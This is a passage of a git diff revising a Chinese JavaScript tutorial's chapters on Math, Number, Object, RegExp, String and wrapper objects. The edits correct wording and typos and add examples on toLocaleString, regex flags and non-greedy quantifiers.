 - Dr. Axel Rauschmayer, [JavaScript’s JSON API](http://www.2ality.com/2011/08/json-api.html)
 - Jim Cowart, [What You Might Not Know About JSON.stringify()](http://freshbrewedcode.com/jimcowart/2013/01/29/what-you-might-not-know-about-json-stringify/)
-- Marco Rogers polotek, [What is JSON?](http://docs.nodejitsu.com/articles/javascript-conventions/what-is-json)
+- Marco Rogers, [What is JSON?](https://docs.nodejitsu.com/articles/javascript-conventions/what-is-json/)
diff --git a/docs/stdlib/math.md b/docs/stdlib/math.md
index 579a8d1..a5e8947 100644
--- a/docs/stdlib/math.md
+++ b/docs/stdlib/math.md
@@ -11,7 +11,7 @@
 - `Math.LN10`：10 的自然对数。
 - `Math.LOG2E`：以 2 为底的`e`的对数。
 - `Math.LOG10E`：以 10 为底的`e`的对数。
-- `Math.PI`：常数 Pi。
+- `Math.PI`：常数`π`。
 - `Math.SQRT1_2`：0.5 的平方根。
 - `Math.SQRT2`：2 的平方根。
 
@@ -37,10 +37,10 @@ Math.SQRT2 // 1.4142135623730951
 - `Math.floor()`：向下取整
 - `Math.max()`：最大值
 - `Math.min()`：最小值
-- `Math.pow()`：指数运算
+- `Math.pow()`：幂运算
 - `Math.sqrt()`：平方根
 - `Math.log()`：自然对数
-- `Math.exp()`：e的指数
+- `Math.exp()`：`e`的指数
 - `Math.round()`：四舍五入
 - `Math.random()`：随机数
 
@@ -66,14 +66,14 @@ Math.max() // -Infinity
 
 ### Math.floor()，Math.ceil()
 
-`Math.floor`方法返回小于参数值的最大整数（地板值）。
+`Math.floor`方法返回小于或等于参数值的最大整数（地板值）。
 
 ```javascript
 Math.floor(3.2) // 3
 Math.floor(-3.2) // -4
 ```
 
-`Math.ceil`方法返回大于参数值的最小整数（天花板值）。
+`Math.ceil`方法返回大于或等于参数值的最小整数（天花板值）。
 
 ```javascript
 Math.ceil(3.2) // 4
@@ -121,7 +121,7 @@ Math.round(-1.6) // -2
 
 ### Math.pow()
 
-`Math.pow`方法返回以第一个参数为底数、第二个参数为幂的指数值。
+`Math.pow`方法返回以第一个参数为底数、第二个参数为指数的幂运算值。
 
 ```javascript
 // 等同于 2 ** 2
@@ -208,7 +208,7 @@ function random_str(length) {
   ALPHABET += 'abcdefghijklmnopqrstuvwxyz';
   ALPHABET += '0123456789-_';
   var str = '';
-  for (var i=0; i < length; ++i) {
+  for (var i = 0; i < length; ++i) {
     var rand = Math.floor(Math.random() * ALPHABET.length);
     str += ALPHABET.substring(rand, rand + 1);
   }
@@ -242,4 +242,3 @@ Math.asin(1) // 1.5707963267948966
 Math.acos(1) // 0
 Math.atan(1) // 0.7853981633974483
 ```
-
diff --git a/docs/stdlib/number.md b/docs/stdlib/number.md
index e3454b2..53fb8c5 100644
--- a/docs/stdlib/number.md
+++ b/docs/stdlib/number.md
@@ -108,16 +108,23 @@ Number.MIN_SAFE_INTEGER // -9007199254740991
 
 ### Number.prototype.toFixed()
 
-`toFixed`方法先将一个数转为指定位数的小数，然后返回这个小数对应的字符串。
+`toFixed()`方法先将一个数转为指定位数的小数，然后返回这个小数对应的字符串。
 
 ```javascript
 (10).toFixed(2) // "10.00"
 10.005.toFixed(2) // "10.01"
 ```
 
-上面代码中，`10`和`10.005`转成2位小数，其中`10`必须放在括号里，否则后面的点会被处理成小数点。
+上面代码中，`10`和`10.005`先转成2位小数，然后转成字符串。其中`10`必须放在括号里，否则后面的点会被处理成小数点。
 
-`toFixed`方法的参数为小数位数，有效范围为0到20，超出这个范围将抛出 RangeError 错误。
+`toFixed()`方法的参数为小数位数，有效范围为0到100，超出这个范围将抛出 RangeError 错误。
+
+由于浮点数的原因，小数`5`的四舍五入是不确定的，使用的时候必须小心。
+
+```javascript
+(10.055).toFixed(2) // 10.05
+(10.005).toFixed(2) // 10.01
+```
 
 ### Number.prototype.toExponential()
 
@@ -133,11 +140,11 @@ Number.MIN_SAFE_INTEGER // -9007199254740991
 (1234).toExponential(2) // "1.23e+3"
 ```
 
-`toExponential`方法的参数是小数点后有效数字的位数，范围为0到20，超出这个范围，会抛出一个 RangeError 错误。
+`toExponential`方法的参数是小数点后有效数字的位数，范围为0到100，超出这个范围，会抛出一个 RangeError 错误。
 
 ### Number.prototype.toPrecision()
 
-`toPrecision`方法用于将一个数转为指定位数的有效数字。
+`Number.prototype.toPrecision()`方法用于将一个数转为指定位数的有效数字。
 
 ```javascript
 (12.34).toPrecision(1) // "1e+1"
@@ -147,9 +154,9 @@ Number.MIN_SAFE_INTEGER // -9007199254740991
 (12.34).toPrecision(5) // "12.340"
 ```
 
-`toPrecision`方法的参数为有效数字的位数，范围是1到21，超出这个范围会抛出 RangeError 错误。
+该方法的参数为有效数字的位数，范围是1到100，超出这个范围会抛出 RangeError 错误。
 
-`toPrecision`方法用于四舍五入时不太可靠，跟浮点数不是精确储存有关。
+该方法用于四舍五入时不太可靠，跟浮点数不是精确储存有关。
 
 ```javascript
 (12.35).toPrecision(3) // "12.3"
@@ -158,6 +165,41 @@ Number.MIN_SAFE_INTEGER // -9007199254740991
 (12.45).toPrecision(3) // "12.4"
 ```
 
+### Number.prototype.toLocaleString()
+
+`Number.prototype.toLocaleString()`方法接受一个地区码作为参数，返回一个字符串，表示当前数字在该地区的当地书写形式。
+
+```javascript
+(123).toLocaleString('zh-Hans-CN-u-nu-hanidec')
+// "一二三"
+```
+
+该方法还可以接受第二个参数配置对象，用来定制指定用途的返回字符串。该对象的`style`属性指定输出样式，默认值是`decimal`，表示输出十进制形式。如果值为`percent`，表示输出百分数。
+
+```javascript
+(123).toLocaleString('zh-Hans-CN', { style: 'percent' })
+// "12,300%"
+```
+
+如果`style`属性的值为`currency`，则可以搭配`currency`属性，输出指定格式的货币字符串形式。
+
+```javascript
+(123).toLocaleString('zh-Hans-CN', { style: 'currency', currency: 'CNY' })
+// "￥123.00"
+
+(123).toLocaleString('de-DE', { style: 'currency', currency: 'EUR' })
+// "123,00 €"
+
+(123).toLocaleString('en-US', { style: 'currency', currency: 'USD' })
+// "$123.00"
+```
+
+如果`Number.prototype.toLocaleString()`省略了参数，则由浏览器自行决定如何处理，通常会使用操作系统的地区设定。注意，该方法如果使用浏览器不认识的地区码，会抛出一个错误。
+
+```javascript
+(123).toLocaleString('123') // 出错
+```
+
 ## 自定义方法
 
 与其他对象一样，`Number.prototype`对象上面可以自定义方法，被`Number`的实例继承。
diff --git a/docs/stdlib/object.md b/docs/stdlib/object.md
index 68ffe7f..783175c 100644
--- a/docs/stdlib/object.md
+++ b/docs/stdlib/object.md
@@ -10,7 +10,7 @@ JavaScript 的所有其他对象都继承自`Object`对象，即那些对象都
 
 **（1）`Object`对象本身的方法**
 
-所谓”本身的方法“就是直接定义在`Object`对象的方法。
+所谓“本身的方法”就是直接定义在`Object`对象的方法。
 
 ```javascript
 Object.print = function (o) { console.log(o) };
@@ -35,7 +35,7 @@ obj.print() // Object
 
 关于原型对象`object.prototype`的详细解释，参见《面向对象编程》章节。这里只要知道，凡是定义在`Object.prototype`对象上面的属性和方法，将被所有实例对象共享就可以了。
 
-以下先介绍`Object`作为函数的用法，然后再介绍`Object`对象的原生方法，分成对象自身的方法（又称为”静态方法“）和实例方法两部分。
+以下先介绍`Object`作为函数的用法，然后再介绍`Object`对象的原生方法，分成对象自身的方法（又称为“静态方法”）和实例方法两部分。
 
 ## Object()
 
@@ -56,7 +56,7 @@ obj instanceof Object // true
 
 `instanceof`运算符用来验证，一个对象是否为指定的构造函数的实例。`obj instanceof Object`返回`true`，就表示`obj`对象是`Object`的实例。
 
-如果参数是原始类型的值，`Object`方法将其转为对应的包装对象的实例（参见《原始类型的包装对象》一章）。
+如果参数是原始类型的值，`Object`方法将其转为对应的包装对象的实例（参见《包装对象》一章）。
 
 ```javascript
 var obj = Object(1);
@@ -156,7 +156,7 @@ var obj = {
 Object.getOwnPropertyNames(obj) // ["p1", "p2"]
 ```
 
-对于一般的对象来说，`Object.keys()`和`Object.getOwnPropertyNames()`返回的结果是一样的。只有涉及不可枚举属性时，才会有不一样的结果。`Object.keys`方法只返回可枚举的属性（详见《对象属性的描述对象》一章），`Object.getOwnPropertyNames`方法还返回不可枚举的属性名。
+对于一般的对象来说，`Object.keys()`和`Object.getOwnPropertyNames()`返回的结果是一样的。只有涉及不可枚举属性时，才会有不一样的结果。`Object.keys`方法只返回可枚举的属性（详见《属性描述对象》一章），`Object.getOwnPropertyNames`方法还返回不可枚举的属性名。
 
 ```javascript
 var a = ['Hello', 'World'];
@@ -179,7 +179,7 @@ Object.keys(obj).length // 2
 Object.getOwnPropertyNames(obj).length // 2
 ```
 
-一般情况下，几乎总是使用`Object.keys`方法，遍历数组的属性。
+一般情况下，几乎总是使用`Object.keys`方法，遍历对象的属性。
 
 ### 其他方法
 
@@ -231,7 +231,7 @@ obj.valueOf() === obj // true
 
 上面代码比较`obj.valueOf()`与`obj`本身，两者是一样的。
 
-`valueOf`方法的主要用途是，JavaScript 自动类型转换时会默认调用这个方法（详见《数据类型转换》一章）。
+`valueOf`方法的主要用途是，JavaScript 自动类型转换时会默认调用这个方法（详见《数据类型的转换》一章）。
 
 ```javascript
 var obj = new Object();
@@ -308,7 +308,7 @@ var obj = {};
 obj.toString() // "[object Object]"
 ```
 
-上面代码调用空对象的`toString`方法，结果返回一个字符串`object Object`，其中第二个`Object`表示该值的构造函数。这是一个十分有用的判断数据类型的方法。
+上面代码调用空对象的`toString`方法，结果返回一个字符串`[object Object]`，其中第二个`Object`表示该值的构造函数。这是一个十分有用的判断数据类型的方法。
 
 由于实例对象可能会自定义`toString`方法，覆盖掉`Object.prototype.toString`方法，所以为了得到类型字符串，最好直接使用`Object.prototype.toString`方法。通过函数的`call`方法，可以在任意值上调用这个方法，帮助我们判断这个值的类型。
 
@@ -401,7 +401,25 @@ obj.toString(obj) // "[object Object]"
 obj.toLocaleString(obj) // "[object Object]"
 ```
 
-这个方法的主要作用是留出一个接口，让各种不同的对象实现自己版本的`toLocaleString`，用来返回针对某些地域的特定的值。目前，主要有三个对象自定义了`toLocaleString`方法。
+这个方法的主要作用是留出一个接口，让各种不同的对象实现自己版本的`toLocaleString`，用来返回针对某些地域的特定的值。
+
+```javascript
+var person = {
+  toString: function () {
+    return 'Henry Norman Bethune';
+  },
+  toLocaleString: function () {
+    return '白求恩';
+  }
+};
+
+person.toString() // Henry Norman Bethune
+person.toLocaleString() // 白求恩
+```
+
+上面代码中，`toString()`方法返回对象的一般字符串形式，`toLocaleString()`方法返回本地的字符串形式。
+
+目前，主要有三个对象自定义了`toLocaleString`方法。
 
 - Array.prototype.toLocaleString()
 - Number.prototype.toLocaleString()
@@ -437,6 +455,6 @@ obj.hasOwnProperty('toString') // false
 - Jon Bretman, [Type Checking in JavaScript](http://techblog.badoo.com/blog/2013/11/01/type-checking-in-javascript/)
 - Cody Lindley, [Thinking About ECMAScript 5 Parts](http://tech.pro/tutorial/1671/thinking-about-ecmascript-5-parts)
 - Bjorn Tipling, [Advanced objects in JavaScript](http://bjorn.tipling.com/advanced-objects-in-javascript)
-- Javier Márquez, [Javascript properties are enumerable, writable and configurable](http://arqex.com/967/javascript-properties-enumerable-writable-configurable)
+- Javier Márquez, [JavaScript properties are enumerable, writable and configurable](http://arqex.com/967/javascript-properties-enumerable-writable-configurable)
 - Sella Rafaeli, [Native JavaScript Data-Binding](http://www.sellarafaeli.com/blog/native_javascript_data_binding): 使用存取函数实现model与view的双向绑定
 - Lea Verou, [Copying object properties, the robust way](http://lea.verou.me/2015/08/copying-properties-the-robust-way/)
diff --git a/docs/stdlib/regexp.md b/docs/stdlib/regexp.md
index 87e029d..5a1d884 100644
--- a/docs/stdlib/regexp.md
+++ b/docs/stdlib/regexp.md
@@ -1,6 +1,6 @@
 # RegExp 对象
 
-`RegExp`对象提供正则表示式的功能。
+`RegExp`对象提供正则表达式的功能。
 
 ## 概述
 
@@ -34,13 +34,14 @@ var regex = /xyz/i;
 
 正则对象的实例属性分成两类。
 
-一类是修饰符相关，返回一个布尔值，表示对应的修饰符是否设置。
+一类是修饰符相关，用于了解设置了什么修饰符。
 
-- **RegExp.prototype.ignoreCase**：返回一个布尔值，表示是否设置了`i`修饰符。
-- **RegExp.prototype.global**：返回一个布尔值，表示是否设置了`g`修饰符。
-- **RegExp.prototype.multiline**：返回一个布尔值，表示是否设置了`m`修饰符。
+- `RegExp.prototype.ignoreCase`：返回一个布尔值，表示是否设置了`i`修饰符。
+- `RegExp.prototype.global`：返回一个布尔值，表示是否设置了`g`修饰符。
+- `RegExp.prototype.multiline`：返回一个布尔值，表示是否设置了`m`修饰符。
+- `RegExp.prototype.flags`：返回一个字符串，包含了已经设置的所有修饰符，按字母排序。
 
-上面三个属性都是只读的。
+上面四个属性都是只读的。
 
 ```javascript
 var r = /abc/igm;
@@ -48,6 +49,7 @@ var r = /abc/igm;
 r.ignoreCase // true
 r.global // true
 r.multiline // true
+r.flags // 'gim'
 ```
 
 另一类是与修饰符无关的属性，主要是下面两个。
@@ -100,16 +102,19 @@ var s = '_x_x';
 
 r.lastIndex = 4;
 r.test(s) // false
+
+r.lastIndex // 0
+r.test(s) // true
 ```
 
-上面代码指定从字符串的第五个位置开始搜索，这个位置是没有字符的，所以返回`false`。
+上面代码指定从字符串的第五个位置开始搜索，这个位置为空，所以返回`false`。同时，`lastIndex`属性重置为`0`，所以第二次执行`r.test(s)`会返回`true`。
 
 注意，带有`g`修饰符时，正则表达式内部会记住上一次的`lastIndex`属性，这时不应该更换所要匹配的字符串，否则会有一些难以察觉的错误。
 
 ```javascript
 var r = /bb/g;
 r.test('bb') // true
-r.test('-bb-') // false 
+r.test('-bb-') // false
 ```
 
 上面代码中，由于正则表达式`r`是从上一次的`lastIndex`位置开始匹配，导致第二次执行`test`方法时出现预期以外的结果。
@@ -132,7 +137,7 @@ new RegExp('').test('abc')
 
 ### RegExp.prototype.exec()
 
-正则实例对象的`exec`方法，用来返回匹配结果。如果发现匹配，就返回一个数组，成员是匹配成功的子字符串，否则返回`null`。
+正则实例对象的`exec()`方法，用来返回匹配结果。如果发现匹配，就返回一个数组，成员是匹配成功的子字符串，否则返回`null`。
 
 ```javascript
 var s = '_x_x';
@@ -145,7 +150,7 @@ r2.exec(s) // null
 
 上面代码中，正则对象`r1`匹配成功，返回一个数组，成员是匹配结果；正则对象`r2`匹配失败，返回`null`。
 
-如果正则表示式包含圆括号（即含有“组匹配”），则返回的数组会包括多个成员。第一个成员是整个匹配成功的结果，后面的成员就是圆括号对应的匹配成功的组。也就是说，第二个成员对应第一个括号，第三个成员对应第二个括号，以此类推。整个数组的`length`属性等于组匹配的数量再加1。
+如果正则表达式包含圆括号（即含有“组匹配”），则返回的数组会包括多个成员。第一个成员是整个匹配成功的结果，后面的成员就是圆括号对应的匹配成功的组。也就是说，第二个成员对应第一个括号，第三个成员对应第二个括号，以此类推。整个数组的`length`属性等于组匹配的数量再加1。
 
 ```javascript
 var s = '_x_x';
@@ -154,12 +159,12 @@ var r = /_(x)/;
 r.exec(s) // ["_x", "x"]
 ```
 
-上面代码的`exec`方法，返回一个数组。第一个成员是整个匹配的结果，第二个成员是圆括号匹配的结果。
+上面代码的`exec()`方法，返回一个数组。第一个成员是整个匹配的结果，第二个成员是圆括号匹配的结果。
 
-`exec`方法的返回数组还包含以下两个属性：
+`exec()`方法的返回数组还包含以下两个属性：
 
 - `input`：整个原字符串。
-- `index`：整个模式匹配成功的开始位置（从0开始计数）。
+- `index`：模式匹配成功的开始位置（从0开始计数）。
 
 ```javascript
 var r = /a(b+)a/;
@@ -173,7 +178,7 @@ arr.input // "_abbba_aba_"
 
 上面代码中的`index`属性等于1，是因为从原字符串的第二个位置开始匹配成功。
 
-如果正则表达式加上`g`修饰符，则可以使用多次`exec`方法，下一次搜索的位置从上一次匹配成功结束的位置开始。
+如果正则表达式加上`g`修饰符，则可以使用多次`exec()`方法，下一次搜索的位置从上一次匹配成功结束的位置开始。
 
 ```javascript
 var reg = /a/g;
@@ -199,7 +204,7 @@ r4 // null
 reg.lastIndex // 0
 ```
 
-上面代码连续用了四次`exec`方法，前三次都是从上一次匹配结束的位置向后匹配。当第三次匹配结束以后，整个字符串已经到达尾部，匹配结果返回`null`，正则实例对象的`lastIndex`属性也重置为`0`，意味着第四次匹配将从头开始。
+上面代码连续用了四次`exec()`方法，前三次都是从上一次匹配结束的位置向后匹配。当第三次匹配结束以后，整个字符串已经到达尾部，匹配结果返回`null`，正则实例对象的`lastIndex`属性也重置为`0`，意味着第四次匹配将从头开始。
 
 利用`g`修饰符允许多次匹配的特点，可以用一个循环完成全部匹配。
 
@@ -217,7 +222,7 @@ while(true) {
 // #8:a
 ```
 
-上面代码中，只要`exec`方法不返回`null`，就会一直循环下去，每次输出匹配的位置和匹配的文本。
+上面代码中，只要`exec()`方法不返回`null`，就会一直循环下去，每次输出匹配的位置和匹配的文本。
 
 正则实例对象的`lastIndex`属性不仅可读，还可写。设置了`g`修饰符的时候，只要手动设置了`lastIndex`的值，就会从指定位置开始匹配。
 
@@ -293,7 +298,7 @@ str.replace(search, replacement)
 'aaa'.replace(/a/g, 'b') // "bbb"
 ```
 
-上面代码中，最后一个正则表达式使用了`g`修饰符，导致所有的`b`都被替换掉了。
+上面代码中，最后一个正则表达式使用了`g`修饰符，导致所有的`a`都被替换掉了。
 
 `replace`方法的一个应用，就是消除字符串首尾两端的空格。
 
@@ -306,11 +311,11 @@ str.replace(/^\s+|\s+$/g, '')
 
 `replace`方法的第二个参数可以使用美元符号`$`，用来指代所替换的内容。
 
-- $&：匹配的子字符串。
-- $\`：匹配结果前面的文本。
-- $'：匹配结果后面的文本。
-- $n：匹配成功的第`n`组内容，`n`是从1开始的自然数。
-- $$：指代美元符号`$`。
+- `$&`：匹配的子字符串。
+- `` $` ``：匹配结果前面的文本。
+- `$'`：匹配结果后面的文本。
+- `$n`：匹配成功的第`n`组内容，`n`是从1开始的自然数。
+- `$$`：指代美元符号`$`。
 
 ```javascript
 'hello world'.replace(/(\w+)\s(\w+)/, '$2 $1')
@@ -480,7 +485,7 @@ str.split(separator, [limit])
 
 上面代码指的是，`a`和`b`之间有一个空格或者一个制表符。
 
-其他的元字符还包括`\`、`\*`、`+`、`?`、`()`、`[]`、`{}`等，将在下文解释。
+其他的元字符还包括`\`、`*`、`+`、`?`、`()`、`[]`、`{}`等，将在下文解释。
 
 ### 转义符
 
@@ -541,11 +546,11 @@ str.split(separator, [limit])
 如果方括号内的第一个字符是`[^]`，则表示除了字符类之中的字符，其他字符都可以匹配。比如，`[^xyz]`表示除了`x`、`y`、`z`之外都可以匹配。
 
 ```javascript
-/[^abc]/.test('hello world') // true
+/[^abc]/.test('bbc news') // true
 /[^abc]/.test('bbc') // false
 ```
 
-上面代码中，字符串`hello world`不包含字母`a`、`b`、`c`中的任一个，所以返回`true`；字符串`bbc`不包含`a`、`b`、`c`以外的字母，所以返回`false`。
+上面代码中，字符串`bbc news`包含`a`、`b`、`c`以外的其他字符，所以返回`true`；字符串`bbc`不包含`a`、`b`、`c`以外的其他字符，所以返回`false`。
 
 如果方括号内没有其他字符，即只有`[^]`，就表示匹配一切字符，其中包括换行符。相比之下，点号作为元字符（`.`）是不包括换行符的。
 
@@ -689,7 +694,7 @@ var html = "<b>Hello</b>\n<i>world!</i>";
 
 ### 贪婪模式
 
-上一小节的三个量词符，默认情况下都是最大可能匹配，即匹配直到下一个字符不满足匹配规则为止。这被称为贪婪模式。
+上一小节的三个量词符，默认情况下都是最大可能匹配，即匹配到下一个字符不满足匹配规则为止。这被称为贪婪模式。
 
 ```javascript
 var s = 'aaa';
@@ -698,19 +703,30 @@ s.match(/a+/) // ["aaa"]
 
 上面代码中，模式是`/a+/`，表示匹配1个`a`或多个`a`，那么到底会匹配几个`a`呢？因为默认是贪婪模式，会一直匹配到字符`a`不出现为止，所以匹配结果是3个`a`。
 
-如果想将贪婪模式改为非贪婪模式，可以在量词符后面加一个问号。
+除了贪婪模式，还有非贪婪模式，即最小可能匹配。只要一发现匹配，就返回结果，不要往下检查。如果想将贪婪模式改为非贪婪模式，可以在量词符后面加一个问号。
 
 ```javascript
 var s = 'aaa';
 s.match(/a+?/) // ["a"]
 ```
 
-上面代码中，模式结尾添加了一个问号`/a+?/`，这时就改为非贪婪模式，一旦条件满足，就不再往下匹配。
+上面例子中，模式结尾添加了一个问号`/a+?/`，这时就改为非贪婪模式，一旦条件满足，就不再往下匹配，`+?`表示只要发现一个`a`，就不再往下匹配了。
 
-除了非贪婪模式的加号，还有非贪婪模式的星号（`*`）。
+除了非贪婪模式的加号（`+?`），还有非贪婪模式的星号（`*?`）和非贪婪模式的问号（`??`）。
 
-- `*?`：表示某个模式出现0次或多次，匹配时采用非贪婪模式。
 - `+?`：表示某个模式出现1次或多次，匹配时采用非贪婪模式。
+- `*?`：表示某个模式出现0次或多次，匹配时采用非贪婪模式。
+- `??`：表格某个模式出现0次或1次，匹配时采用非贪婪模式。
+
+```javascript
+'abb'.match(/ab*/) // ["abb"]
+'abb'.match(/ab*?/) // ["a"]
+
+'abb'.match(/ab?/) // ["ab"]
+'abb'.match(/ab??/) // ["a"]
+```
+
+上面例子中，`/ab*/`表示如果`a`后面有多个`b`，那么匹配尽可能多的`b`；`/ab*?/`表示匹配尽可能少的`b`，也就是0个`b`。
 
 ### 修饰符
 
@@ -754,7 +770,7 @@ regex.test(str); // false
 
 **（2）i 修饰符**
 
-默认情况下，正则对象区分字母的大小写，加上`i`修饰符以后表示忽略大小写（ignorecase）。
+默认情况下，正则对象区分字母的大小写，加上`i`修饰符以后表示忽略大小写（ignoreCase）。
 
 ```javascript
 /abc/.test('ABC') // false
@@ -778,7 +794,7 @@ regex.test(str); // false
 /^b/m.test('a\nb') // true
 ```
 
-上面代码要求匹配行首的`b`，如果不加`m`修饰符，就相当于`b`只能处在字符串的开始处。加上`b`修饰符以后，换行符`\n`也会被认为是一行的开始。
+上面代码要求匹配行首的`b`，如果不加`m`修饰符，就相当于`b`只能处在字符串的开始处。加上`m`修饰符以后，换行符`\n`也会被认为是一行的开始。
 
 ### 组匹配
 
diff --git a/docs/stdlib/string.md b/docs/stdlib/string.md
index 5941a31..63d21fa 100644
--- a/docs/stdlib/string.md
+++ b/docs/stdlib/string.md
@@ -34,7 +34,7 @@ String(true) // "true"
 String(5) // "5"
 ```
 
-上面代码将布尔值`ture`和数值`5`，分别转换为字符串。
+上面代码将布尔值`true`和数值`5`，分别转换为字符串。
 
 ## 静态方法
 
@@ -110,7 +110,7 @@ s.charAt(s.length - 1) // "c"
 
 ### String.prototype.charCodeAt()
 
-`charCodeAt`方法返回字符串指定位置的 Unicode 码点（十进制表示），相当于`String.fromCharCode()`的逆操作。
+`charCodeAt()`方法返回字符串指定位置的 Unicode 码点（十进制表示），相当于`String.fromCharCode()`的逆操作。
 
 ```javascript
 'abc'.charCodeAt(1) // 98
@@ -131,7 +131,7 @@ s.charAt(s.length - 1) // "c"
 'abc'.charCodeAt(4) // NaN
 ```
 
-注意，`charCodeAt`方法返回的 Unicode 码点不会大于65536（0xFFFF），也就是说，只返回两个字节的字符的码点。如果遇到码点大于 65536 的字符（四个字节的字符），必需连续使用两次`charCodeAt`，不仅读入`charCodeAt(i)`，还要读入`charCodeAt(i+1)`，将两个值放在一起，才能得到准确的字符。
+注意，`charCodeAt`方法返回的 Unicode 码点不会大于65536（0xFFFF），也就是说，只返回两个字节的字符的码点。如果遇到码点大于 65536 的字符（四个字节的字符），必须连续使用两次`charCodeAt`，不仅读入`charCodeAt(i)`，还要读入`charCodeAt(i+1)`，将两个值放在一起，才能得到准确的字符。
 
 ### String.prototype.concat()
 
@@ -166,7 +166,7 @@ one + two + three // "33"
 
 ### String.prototype.slice()
 
-`slice`方法用于从原字符串取出子字符串并返回，不改变原字符串。它的第一个参数是子字符串的开始位置，第二个参数是子字符串的结束位置（不含该位置）。
+`slice()`方法用于从原字符串取出子字符串并返回，不改变原字符串。它的第一个参数是子字符串的开始位置，第二个参数是子字符串的结束位置（不含该位置）。
 
 ```javascript
 'JavaScript'.slice(0, 4) // "Java"
@@ -186,7 +186,7 @@ one + two + three // "33"
 'JavaScript'.slice(-2, -1) // "p"
 ```
 
-如果第一个参数大于第二个参数，`slice`方法返回一个空字符串。
+如果第一个参数大于第二个参数（正数情况下），`slice()`方法返回一个空字符串。
 
 ```javascript
 'JavaScript'.slice(2, 1) // ""
@@ -196,7 +196,6 @@ one + two + three // "33"
 
 `substring`方法用于从原字符串取出子字符串并返回，不改变原字符串，跟`slice`方法很相像。它的第一个参数表示子字符串的开始位置，第二个位置表示结束位置（返回结果不含该位置）。
 
-
 ```javascript
 'JavaScript'.substring(0, 4) // "Java"
 ```
@@ -220,7 +219,7 @@ one + two + three // "33"
 如果参数是负数，`substring`方法会自动将负数转为0。
 
 ```javascript
-'Javascript'.substring(-3) // "JavaScript"
+'JavaScript'.substring(-3) // "JavaScript"
 'JavaScript'.substring(4, -3) // "Java"
 ```
 
diff --git a/docs/stdlib/wrapper.md b/docs/stdlib/wrapper.md
index dbdb2b4..7e89bf3 100644
--- a/docs/stdlib/wrapper.md
+++ b/docs/stdlib/wrapper.md
@@ -2,19 +2,15 @@
 
 ## 定义
 
-对象是 JavaScript 语言最主要的数据类型，三种原始类型的值——数值、字符串、布尔值——在一定条件下，也会自动转为对象，也就是原始类型的“包装对象”。
+对象是 JavaScript 语言最主要的数据类型，三种原始类型的值——数值、字符串、布尔值——在一定条件下，也会自动转为对象，也就是原始类型的“包装对象”（wrapper）。
 
-所谓“包装对象”，就是分别与数值、字符串、布尔值相对应的`Number`、`String`、`Boolean`三个原生对象。这三个原生对象可以把原始类型的值变成（包装成）对象。
+所谓“包装对象”，指的是与数值、字符串、布尔值分别相对应的`Number`、`String`、`Boolean`三个原生对象。这三个原生对象可以把原始类型的值变成（包装成）对象。
 
 ```javascript
 var v1 = new Number(123);
 var v2 = new String('abc');
 var v3 = new Boolean(true);
-```
-
-上面代码中，基于原始类型的值，生成了三个对应的包装对象。
 
-```javascript
 typeof v1 // "object"
 typeof v2 // "object"
 typeof v3 // "object"
@@ -24,14 +20,21 @@ v2 === 'abc' // false
 v3 === true // false
 ```
 
-包装对象的最大目的，首先是使得 JavaScript 的对象涵盖所有的值，其次使得原始类型的值可以方便地调用某些方法。
+上面代码中，基于原始类型的值，生成了三个对应的包装对象。可以看到，`v1`、`v2`、`v3`都是对象，且与对应的简单类型值不相等。
 
-`Number`、`String`和`Boolean`如果不作为构造函数调用（即调用时不加`new`），常常用于将任意类型的值转为数值、字符串和布尔值。
+包装对象的设计目的，首先是使得“对象”这种类型可以覆盖 JavaScript 所有的值，整门语言有一个通用的数据模型，其次是使得原始类型的值也有办法调用自己的方法。
+
+`Number`、`String`和`Boolean`这三个原生对象，如果不作为构造函数调用（即调用时不加`new`），而是作为普通函数调用，常常用于将任意类型的值转为数值、字符串和布尔值。
 
 ```javascript
-Number(123) // 123
-String('abc') // "abc"
-Boolean(true) // true
+// 字符串转为数值
+Number('123') // 123
+
+// 数值转为字符串
+String(123) // "123"
+
+// 数值转为布尔值
+Boolean(123) // true
 ```
 
 上面这种数据类型的转换，详见《数据类型转换》一节。
@@ -40,11 +43,11 @@ Boolean(true) // true
 
 ## 实例方法
 
-三种包装对象各自提供了许多实例方法，详见后文。这里介绍两种它们共同具有、从`Object`对象继承的方法：`valueOf`和`toString`。
+三种包装对象各自提供了许多实例方法，详见后文。这里介绍两种它们共同具有、从`Object`对象继承的方法：`valueOf()`和`toString()`。
 
 ### valueOf()
 
-`valueOf`方法返回包装对象实例对应的原始类型的值。
+`valueOf()`方法返回包装对象实例对应的原始类型的值。
 
 ```javascript
 new Number(123).valueOf()  // 123
@@ -54,7 +57,7 @@ new Boolean(true).valueOf() // true
 
 ### toString()
 
-`toString`方法返回对应的字符串形式。
+`toString()`方法返回对应的字符串形式。
 
 ```javascript
 new Number(123).toString() // "123"
@@ -64,7 +67,7 @@ new Boolean(true).toString() // "true"
 
 ## 原始类型与实例对象的自动转换
 
-原始类型的值，可以自动当作包装对象调用，即调用包装对象的属性和方法。这时，JavaScript 引擎会自动将原始类型的值转为包装对象实例，在使用后立刻销毁实例。
+某些场合，原始类型的值会自动当作包装对象调用，即调用包装对象的属性和方法。这时，JavaScript 引擎会自动将原始类型的值转为包装对象实例，并在使用后立刻销毁实例。
 
 比如，字符串可以调用`length`属性，返回字符串的长度。
 
@@ -86,7 +89,7 @@ var strObj = new String(str)
 strObj.length // 3
 ```
 
-上面代码中，字符串`abc`的包装对象提供了多个属性。
+上面代码中，字符串`abc`的包装对象提供了多个属性，`length`只是其中之一。
 
 自动转换生成的包装对象是只读的，无法修改。所以，字符串无法添加新属性。
 
@@ -118,19 +121,8 @@ Number.prototype.double = function () {
   return this.valueOf() + this.valueOf();
 };
 
-(123).double()
-// 246
+(123).double() // 246
 ```
 
-上面代码在`123`外面必须要加上圆括号，否则后面的点运算符（`.`）会被解释成小数点。
-
-但是，这种自定义方法和属性的机制，只能定义在包装对象的原型上，如果直接对原始类型的变量添加属性，则无效。
-
-```javascript
-var s = 'abc';
-
-s.p = 123;
-s.p // undefined
-```
+上面代码在`String`和`Number`这两个对象的原型上面，分别自定义了一个方法，从而可以在所有实例对象上调用。注意，最后一行的`123`外面必须要加上圆括号，否则后面的点运算符（`.`）会被解释成小数点。
 
-上面代码直接对字符串`abc`添加属性，结果无效。主要原因是上面说的，这里的包装对象是自动生成的，赋值后自动销毁，所以最后一行实际上调用的是一个新的包装对象。
diff --git a/docs/types/array.md b/docs/types/array.md
index e7be0d6..94944bf 100644
--- a/docs/types/array.md
+++ b/docs/types/array.md
@@ -76,7 +76,7 @@ arr[0] // 'a'
 
